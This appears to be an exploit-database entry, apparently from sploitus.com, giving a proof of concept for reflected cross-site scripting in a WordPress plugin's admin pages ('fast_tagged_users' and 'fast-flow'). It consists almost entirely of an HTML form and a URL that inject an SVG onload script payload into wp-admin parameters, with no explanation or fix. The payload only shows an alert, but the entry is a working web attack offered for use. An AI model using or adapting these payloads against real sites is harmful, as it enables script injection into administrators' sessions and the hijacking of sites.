Share
## https://sploitus.com/exploit?id=WPEX-ID:CA9267D0-9DEA-4CD1-9795-06922286497D
<form action="https://example.com/wp-admin/admin.php?page=fast_tagged_users" method="POST">
    <input type="text" name="page" value='"><svg/onload=alert(/XSS/)>'>
    <input type="submit" value="submit">
</form>

https://example.com/wp-admin/admin.php?page=fast-flow&p="><svg/onload=alert(/XSS/)>